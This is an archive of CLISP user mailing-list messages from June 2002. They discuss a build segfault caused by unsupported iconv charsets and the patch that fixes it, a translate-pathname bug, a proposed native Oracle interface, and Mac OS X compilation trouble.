(209.228.32.139) with SMTP; 19 Jun 2002 09:54:23 -0700 X-Sent: 19 Jun 2002 16:54:23 GMT To: "Claudio Bley" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] stack overflow - unknown charset References: <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> Message-ID: Lines: 110 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 19 09:55:07 2002 X-Original-Date: 19 Jun 2002 12:54:12 -0400 > * In message <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> > * On the subject of "[clisp-list] stack overflow - unknown charset" > * Sent on Wed, 19 Jun 2002 18:05:00 +0200 > * Honorable "Claudio Bley" writes: > > just as promised ;) in my previous mail I'm reporting my problems with > building cvs clisp 06/14/2002 : > > I checked out clisp from cvs, did the usual steps: > > $ ./configure with-gcc3 > $ cd with-gcc3 > $ ./makemake --with-readline --with-gettext --with-dynamic-ffi debug > Makefile > $ make config.lisp > $ make > > which failed miserably at: > > ./lisp.run -B . -N locale -E UTF-8 -norc -m 750KW -x "(load \ > \"init.lisp\") (sys::%saveinitmem) (exit)" > > *** - Program stack overflow. RESET > make: *** [interpreted.mem] Segmentation fault > > Here's the backtrace from gdb: > > Program received signal SIGSEGV, Segmentation fault. > 0x20264c8a in ?? () > (gdb) bt > #0 0x20264c8a in ?? () > #1 0x080fc390 in write_errorstring ( > errorstring=0x821c768 "unknown character set ~") at error.d:191 > #2 0x080fc981 in fehler (errortype=error, > errorstring=0x821c768 "unknown character set ~") at error.d:328 > #3 0x08092347 in open_iconv (to_code=0x819c59b "WCHAR_T", > from_code=0xbfffb9f0 "ARMSCII-8", charset=0x20277811) at stream.d:3611 > #4 0x08092399 in check_charset (code=0xbfffb9f0 "ARMSCII-8", > charset=0x20277811) at stream.d:3621 > #5 0x08077834 in C_make_encoding () at encoding.d:1707 > #6 0x08078cd0 in init_encodings_2 () at encoding.d:2153 > #7 0x080540b0 in initmem () at spvw.d:1407 > #8 0x08055830 in main (argc=12, argv=0xbffffbf4) at spvw.d:2541 > > > $ iconv --version > iconv (GNU libc) 2.2.5 > Copyright (C) 2002 Free Software Foundation, Inc. > This is free software; see the source for copying conditions. There is NO > warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. > Written by Ulrich Drepper. > > $ 'iconv -l | grep -i armscii-8' > # gives nothing > > So it seems glibc's iconv in fact doesn't support this charset. The > same goes for the tcvn charset. on my redhat gnu/linux 7.3 with the glibc 2.2.5 both armscii-8 and tcvn are present. > I just commented out the appropriate lines in src/constsym.d and the > build suceeded. Nonetheless, I guess it shouldn't segfault if the > charset is unknown... you are right - please try the appended patch and report your experiences. (you will also need to copy the definition of CLISP_INTERNAL_CHARSET from stream.d) > System details: > > Debian Gnu/Linux 3.0 (Woody) > $ uname -a > Linux aptiva 2.4.18 #1 Mon May 13 15:24:42 CEST 2002 i686 unknown > $ gcc --version > 3.0.4 BTW, Bruno, why now, after HAVE_GOOD_ICONV has already been introduced, we still have GLIBC version checks in encoding.d? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Only a fool has no doubts. --- encoding.d.~1.68.~ Wed Jun 12 09:22:58 2002 +++ encoding.d Wed Jun 19 12:50:50 2002 @@ -2151,10 +2151,21 @@ var object symbol = iconv_first_sym; var uintC count; dotimesC(count,iconv_num_encodings, { + var bool good_p = true; + with_string_0(Symbol_name(symbol),Symbol_value(S(ascii)),charset_ascii,{ + var iconv_t cd = iconv_open(CLISP_INTERNAL_CHARSET,charset_ascii); + good_p = ((cd != -1) && (iconv_close(cd) >= 0) + && ((cd=iconv_open(charset_ascii,CLISP_INTERNAL_CHARSET)) != -1) + && (iconv_close(cd) >= 0)); + }); + if (good_p) { pushSTACK(Symbol_name(symbol)); pushSTACK(unbound); pushSTACK(unbound); pushSTACK(unbound); C_make_encoding(); # cannot use funcall yet define_constant(symbol,value1); + } else { + pushSTACK(symbol); pushSTACK(O(charset_package)); C_unintern(); + } symbol = objectplus(symbol,(soint)sizeof(*TheSymbol(symbol))<<(oint_addr_shift-addr_shift)); }); } From haible@ilog.fr Wed Jun 19 11:13:40 2002 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17KjxT-0004FU-00 for ; Wed, 19 Jun 2002 11:13:37 -0700 Received: from ftp.ilog.fr (ftp.ilog.fr [193.55.64.11]) by sceaux.ilog.fr (8.11.6/8.11.6) with SMTP id g5JIALi10988 for ; Wed, 19 Jun 2002 20:10:26 +0200 (MET DST) Received: from laposte.ilog.fr ([193.55.64.67]) by ftp.ilog.fr (NAVGW 2.5.1.16) with SMTP id M2002061920130015179 ; Wed, 19 Jun 2002 20:13:00 +0200 Received: from honolulu.ilog.fr ([172.17.4.29]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id g5JID0w00839; Wed, 19 Jun 2002 20:13:00 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id UAA11777; Wed, 19 Jun 2002 20:08:18 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15632.51346.611093.628372@honolulu.ilog.fr> To: sds@gnu.org Cc: "Claudio Bley" , clisp-list@sourceforge.net Subject: Re: [clisp-list] stack overflow - unknown charset In-Reply-To: References: <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 19 11:14:05 2002 X-Original-Date: Wed, 19 Jun 2002 20:08:18 +0200 (CEST) > > *** - Program stack overflow. RESET > > make: *** [interpreted.mem] Segmentation fault > > > > Here's the backtrace from gdb: > > > > Program received signal SIGSEGV, Segmentation fault. > > 0x20264c8a in ?? () > > (gdb) bt > > #0 0x20264c8a in ?? () > > #1 0x080fc390 in write_errorstring ( > > errorstring=0x821c768 "unknown character set ~") at error.d:191 > > #2 0x080fc981 in fehler (errortype=error, > > errorstring=0x821c768 "unknown character set ~") at error.d:328 > > #3 0x08092347 in open_iconv (to_code=0x819c59b "WCHAR_T", > > from_code=0xbfffb9f0 "ARMSCII-8", charset=0x20277811) at stream.d:3611 > > #4 0x08092399 in check_charset (code=0xbfffb9f0 "ARMSCII-8", > > charset=0x20277811) at stream.d:3621 > > $ 'iconv -l | grep -i armscii-8' > > # gives nothing > > > > So it seems glibc's iconv in fact doesn't support this charset. The > > same goes for the tcvn charset. You're right. I've changed constsym.d now to include these charsets only with glibc >= 2.3. I was misled because the support for these charsets was added a few weeks before the release of glibc-2.2.5, but only on the development branch of glibc. > on my redhat gnu/linux 7.3 with the glibc 2.2.5 both armscii-8 and tcvn > are present. RedHat is well-known for shipping development versions of gcc or glibc (remember gcc-2.96 or glibc-2.1.96?) Bruno From samuel.steingold@verizon.net Wed Jun 19 12:11:21 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17KkrQ-0002sP-00 for ; Wed, 19 Jun 2002 12:11:20 -0700 Received: (cpmta 17269 invoked from network); 19 Jun 2002 12:11:13 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 19 Jun 2002 12:11:13 -0700 X-Sent: 19 Jun 2002 19:11:13 GMT To: "Claudio Bley" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] stack overflow - unknown charset References: <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 19 12:12:05 2002 X-Original-Date: 19 Jun 2002 15:11:12 -0400 > * In message <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> > * On the subject of "[clisp-list] stack overflow - unknown charset" > * Sent on Wed, 19 Jun 2002 18:05:00 +0200 > * Honorable "Claudio Bley" writes: > > just as promised ;) in my previous mail I'm reporting my problems with > building cvs clisp 06/14/2002 : please update your cvs sandbox and reconfigure. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Never underestimate the power of stupid people in large groups. From samuel.steingold@verizon.net Wed Jun 19 14:50:48 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17KnLj-0000go-00 for ; Wed, 19 Jun 2002 14:50:47 -0700 Received: (cpmta 22108 invoked from network); 19 Jun 2002 14:50:41 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 19 Jun 2002 14:50:41 -0700 X-Sent: 19 Jun 2002 21:50:41 GMT To: "Claudio Bley" Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] translate-pathname References: <15632.39316.788559.87986@wh2-19.st.uni-magdeburg.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15632.39316.788559.87986@wh2-19.st.uni-magdeburg.de> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 19 14:51:04 2002 X-Original-Date: 19 Jun 2002 17:50:39 -0400 > * In message <15632.39316.788559.87986@wh2-19.st.uni-magdeburg.de> > * On the subject of "[clisp-list] translate-pathname" > * Sent on Wed, 19 Jun 2002 16:47:48 +0200 > * Honorable "Claudio Bley" writes: > > I tried to use the translate-pathname function but had no luck so far: > [1]> (translate-pathname "test.txt" "*.txt" "*.text") > > *** - TRANSLATE-PATHNAME: #P"test.txt" is not a specialization of #P"*.txt" > > which to my understanding is wrong and rather should give a > #P"test.text" pathname. (I tested this with Allegro CL, Xanalys > LispWorks and CMUCL). I just fixed this in the CVS. please try it. thanks for your bug report. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Diplomacy is the art of saying "nice doggy" until you can find a rock. From bley@wh2-19.st.uni-magdeburg.de Wed Jun 19 17:26:34 2002 Received: from wh2-19.st.uni-magdeburg.de ([141.44.162.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17KpmR-0004kR-00 for ; Wed, 19 Jun 2002 17:26:31 -0700 Received: by wh2-19.st.uni-magdeburg.de (Postfix, from userid 1000) id 14781A058; Thu, 20 Jun 2002 02:26:29 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15633.8501.96081.65956@wh2-19.st.uni-magdeburg.de> From: "Claudio Bley" To: sds@gnu.org Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] translate-pathname In-Reply-To: References: <15632.39316.788559.87986@wh2-19.st.uni-magdeburg.de> X-Mailer: VM 7.05 under Emacs 21.2.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 19 17:27:04 2002 X-Original-Date: Thu, 20 Jun 2002 02:26:29 +0200 >>>>> "Sam" == Sam Steingold writes: >> [1]> (translate-pathname "test.txt" "*.txt" "*.text") >> >> *** - TRANSLATE-PATHNAME: #P"test.txt" is not a specialization >> of #P"*.txt" >> >> which to my understanding is wrong and rather should give a >> #P"test.text" pathname. (I tested this with Allegro CL, Xanalys >> LispWorks and CMUCL). Sam> I just fixed this in the CVS. please try it. Good news! It works like a charm. Thanks for your time and effort. Claudio From bley@wh2-19.st.uni-magdeburg.de Wed Jun 19 17:46:12 2002 Received: from wh2-19.st.uni-magdeburg.de ([141.44.162.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Kq5S-0006Cb-00 for ; Wed, 19 Jun 2002 17:46:10 -0700 Received: by wh2-19.st.uni-magdeburg.de (Postfix, from userid 1000) id C0F90A058; Thu, 20 Jun 2002 02:46:09 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15633.9680.357661.257354@wh2-19.st.uni-magdeburg.de> From: "Claudio Bley" To: sds@gnu.org Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] stack overflow - unknown charset In-Reply-To: References: <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> X-Mailer: VM 7.05 under Emacs 21.2.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 19 17:47:03 2002 X-Original-Date: Thu, 20 Jun 2002 02:46:08 +0200 >>>>> "Sam" == Sam Steingold writes: >> * In message >> <15632.43948.262319.541910@wh2-19.st.uni-magdeburg.de> * On the >> subject of "[clisp-list] stack overflow - unknown charset" * >> Sent on Wed, 19 Jun 2002 18:05:00 +0200 * Honorable "Claudio >> Bley" writes: >> >> just as promised ;) in my previous mail I'm reporting my >> problems with building cvs clisp 06/14/2002 : Sam> please update your cvs sandbox and reconfigure. thanks. I just did this and it compiled without any problems (of course :). Thanks, Claudio From davep@davep.org Thu Jun 20 08:44:42 2002 Received: from anchor-post-34.mail.demon.net ([194.217.242.92]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17L470-0006pP-00 for ; Thu, 20 Jun 2002 08:44:42 -0700 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-34.mail.demon.net with esmtp (Exim 3.35 #1) id 17KfLU-000EbL-0Y for clisp-list@lists.sourceforge.net; Wed, 19 Jun 2002 14:18:00 +0100 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id OAA26635 for clisp-list@lists.sourceforge.net; Wed, 19 Jun 2002 14:17:59 +0100 From: Dave Pearson To: "clisp-list@lists.sourceforge.net" Subject: Re: [clisp-list] calling open-gl functions with clisp Message-ID: <20020619131759.GB12427@hagbard.davep.org> Mail-Followup-To: "clisp-list@lists.sourceforge.net" References: <20020616000907.87213.qmail@web9707.mail.yahoo.com> <3D0E7D00.99C18B13@ieee.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Setting Orange, Day 24 of the season of Confusion, Anno Mung 3168 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 20 08:45:06 2002 X-Original-Date: Wed, 19 Jun 2002 14:17:59 +0100 * Sam Steingold [2002-06-18 09:54:59 -0400]: > Also, I forgot what gdi stands for (neither your readme nor google are of > any help here...) ? -- Dave Pearson http://www.davep.org/ From hin@van-halen.alma.com Fri Jun 21 13:22:46 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17LUvd-0003dH-00 for ; Fri, 21 Jun 2002 13:22:45 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g5LKMhQw010223 for ; Fri, 21 Jun 2002 16:22:43 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g5LKMhbB010220; Fri, 21 Jun 2002 16:22:43 -0400 Message-Id: <200206212022.g5LKMhbB010220@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Any interest in a native Oracle interface for CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 21 13:23:01 2002 X-Original-Date: Fri, 21 Jun 2002 16:22:43 -0400 Hi, I'm just getting back into Lisp after a very long hiatus (OK, I took the Scheme course from Sussman in 1981) and I'm trying to get Lisp adopted at my organization. The catch is we have to deal w/ a lot of data in Oracle and while I've settled on CLISP as the preferred Lisp, I don't see an Oracle interface for CLISP. So, I'm considering writing a *native* Oracle interface, similar to what seems to be there for Postgres now. I searched the list archives and it doesn't seem that anyone is working on such a beast. I've got a lot of experience w/ programming Oracle's "C" client libraries, and read over the documents on building add-ons to CLISP, and frankly it doesn't look like too hard a thing for me to do. I'm very likely going to do it for my own use, but I am interested to know if anyone else would like to: - use this module to get to Oracle databases from CLISP - help test it on platforms other than mine (Intel/Linux) Would you please get back to me if you are so interested? In return you may have to answer some Lisp questions from me as I work to scrape the rust off :0 [N.B.: I have seen suggestions for a socket-level interface to an Oracle server ... this is not too great as to get decent performance one really has to load the Oracle client libraries directly into the process running his program. The Java people found this out the hard way with their socket-based "thin client" which was S-L-O-W.] Assuming all this works out, it may be good to start thinking of a vendor-independent layer that factors out commonalities among, say Postgres, Oracle, Syabase, etc... much as the perl folks have done with the "DBI" and "DBD" interfaces. But CLISP seems a ways away from that. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From edi@agharta.de Fri Jun 21 13:49:18 2002 Received: from bird.agharta.de ([62.159.208.85] helo=bird) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17LVLB-0006TI-00 for ; Fri, 21 Jun 2002 13:49:09 -0700 Received: by bird (Postfix, from userid 1000) id D9BC2FB6A8; Fri, 21 Jun 2002 22:48:59 +0200 (CEST) To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Any interest in a native Oracle interface for CLISP? References: <200206212022.g5LKMhbB010220@van-halen.alma.com> From: Edi Weitz In-Reply-To: <200206212022.g5LKMhbB010220@van-halen.alma.com> Message-ID: <87y9d8e4sl.fsf@bird.agharta.de> Lines: 71 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 21 13:50:02 2002 X-Original-Date: 21 Jun 2002 22:48:58 +0200 This is not meant to lower CLISP in any way but if your major concern is a native Oracle interface why don't you use CMUCL with UncommonSQL ? This basically is the vendor independent layer you are looking for. (CLSQL is even more "neutral" because it is based on UFFI but it currently doesn't support Oracle AFAIK. UFFI support for CLISP and integration of CLSQL with UncommonSQL is in the works - see the mailing list archives - but it's not there yet.) Of course, you could also buy the LispWorks Enterprise Edition which comes with the "original" CommonSQL and full support. Just my EUR 0.02, Edi. "John K. Hinsdale" writes: > Hi, I'm just getting back into Lisp after a very long hiatus (OK, I > took the Scheme course from Sussman in 1981) and I'm trying to get > Lisp adopted at my organization. The catch is we have to deal w/ a > lot of data in Oracle and while I've settled on CLISP as the preferred > Lisp, I don't see an Oracle interface for CLISP. > > So, I'm considering writing a *native* Oracle interface, similar to > what seems to be there for Postgres now. I searched the list archives > and it doesn't seem that anyone is working on such a beast. > > I've got a lot of experience w/ programming Oracle's "C" client > libraries, and read over the documents on building add-ons to CLISP, > and frankly it doesn't look like too hard a thing for me to do. > > I'm very likely going to do it for my own use, but I am interested to > know if anyone else would like to: > > - use this module to get to Oracle databases from CLISP > > - help test it on platforms other than mine (Intel/Linux) > > Would you please get back to me if you are so interested? > > In return you may have to answer some Lisp questions from me as I work > to scrape the rust off :0 > > [N.B.: I have seen suggestions for a socket-level interface to an > Oracle server ... this is not too great as to get decent performance > one really has to load the Oracle client libraries directly into the > process running his program. The Java people found this out the hard > way with their socket-based "thin client" which was S-L-O-W.] > > Assuming all this works out, it may be good to start thinking of a > vendor-independent layer that factors out commonalities among, say > Postgres, Oracle, Syabase, etc... much as the perl folks have done > with the "DBI" and "DBD" interfaces. But CLISP seems a ways away from > that. > > --- > John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA > hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 > > > ------------------------------------------------------- > Sponsored by: > ThinkGeek at http://www.ThinkGeek.com/ > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From hin@van-halen.alma.com Fri Jun 21 14:21:09 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17LVq7-0001lb-00 for ; Fri, 21 Jun 2002 14:21:08 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g5LLKxQw010571; Fri, 21 Jun 2002 17:20:59 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g5LLKxbJ010568; Fri, 21 Jun 2002 17:20:59 -0400 Message-Id: <200206212120.g5LLKxbJ010568@van-halen.alma.com> From: "John K. Hinsdale" To: edi@agharta.de CC: clisp-list@lists.sourceforge.net In-reply-to: <87y9d8e4sl.fsf@bird.agharta.de> (message from Edi Weitz on 21 Jun 2002 22:48:58 +0200) Subject: Re: [clisp-list] Any interest in a native Oracle interface for CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 21 14:22:02 2002 X-Original-Date: Fri, 21 Jun 2002 17:20:59 -0400 > if your major concern is a native Oracle interface why don't you use > CMUCL with UncommonSQL ? This > basically is the vendor independent layer you are looking for. > (CLSQL is even more "neutral" because it Right; I looked at this - it is probably where I ultimately want to be. I passed it over as I really would like to use CLISP (for unrelated reasons, incl. it will run on Win32). So that is why I was considering the interip solution of making a bare-bones direct layer to Oracle for CLISP. I've got a specific project in mind w/ a deadline. > UFFI support for CLISP and integration of CLSQL with UncommonSQL is > in the works - see the mailing list archives - but it's not there yet.) This would be better and ultimately make what I'm proposing obsolete. > you could also buy the LispWorks Enterprise Edition Alas, I'm still in proof-of-concept mode so I doubt I can get my organization to pay for that. I'll let the list know how it pans out. Thanks for your comments. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From samuel.steingold@verizon.net Fri Jun 21 14:34:06 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17LW2f-0002tK-00 for ; Fri, 21 Jun 2002 14:34:05 -0700 Received: (cpmta 7373 invoked from network); 21 Jun 2002 14:33:58 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 21 Jun 2002 14:33:58 -0700 X-Sent: 21 Jun 2002 21:33:58 GMT To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Any interest in a native Oracle interface for CLISP? References: <200206212022.g5LKMhbB010220@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200206212022.g5LKMhbB010220@van-halen.alma.com> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 21 14:35:01 2002 X-Original-Date: 21 Jun 2002 17:33:55 -0400 > * In message <200206212022.g5LKMhbB010220@van-halen.alma.com> > * On the subject of "[clisp-list] Any interest in a native Oracle interface for CLISP?" > * Sent on Fri, 21 Jun 2002 16:22:43 -0400 > * Honorable "John K. Hinsdale" writes: > > The catch is we have to deal w/ a lot of data in Oracle and while I've > settled on CLISP as the preferred Lisp, I don't see an Oracle > interface for CLISP. > > So, I'm considering writing a *native* Oracle interface, similar to > what seems to be there for Postgres now. indeed, this is a reasonable way to go. CLISP's FFI is fairly high level which does not play well with the UFFI design, but might make _your_ life easier. Please go ahead and ask questions here! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Even Windows doesn't suck, when you use Common Lisp From jti@io.com Sun Jun 23 15:59:05 2002 Received: from david.io.com ([199.170.88.28]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17MGK1-0007t9-00 for ; Sun, 23 Jun 2002 15:59:05 -0700 Received: from eris.io.com (IDENT:root@eris.io.com [199.170.88.11]) by david.io.com (8.11.6/8.11.2) with ESMTP id g5NMx3s13445 for ; Sun, 23 Jun 2002 17:59:03 -0500 Received: from localhost (jti@localhost) by eris.io.com (8.11.6/8.11.6) with ESMTP id g5NMx2r07698 for ; Sun, 23 Jun 2002 17:59:02 -0500 X-Authentication-Warning: eris.io.com: jti owned process doing -bs From: "Jeremiah T. Isaacs" To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] compiling 2.28 on Mac OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jun 23 16:00:01 2002 X-Original-Date: Sun, 23 Jun 2002 17:59:02 -0500 (CDT) I am trying to compile clisp 2.28 on Mac OS X and having little luck. Also I have not found any notes about how/who created the 2.27 binary distribution, and what kind of wand was used to get it to compile. One item of note (perhaps I should be sending to the devel list?) the platforms file should be updated in that I _think_ it is mentioning MAc OS X Server 1.x, and not 10.x. It currently has no mention of a version number at all. I can of course send more details if needed. Following the instructions ends with: ;; Loading file defseq.lisp ... ;; Loading of file defseq.lisp is finished. ;; Loading file backquote.lisp ... ;; Loading of file backquote.lisp is finished. ;; Loading file defmacro.lisp ... ;; Loading of file defmacro.lisp is finished. ;; Loading file macros1.lisp ... ;; Loading of file macros1.lisp is finished. ;; Loading file macros2.lisp ... ;; Loading of file macros2.lisp is finished. ;; Loading file defs1.lisp ... ;; Loading of file defs1.lisp is finished. ;; Loading file places.lisp ...make: *** [interpreted.mem] Segmentation fault -- 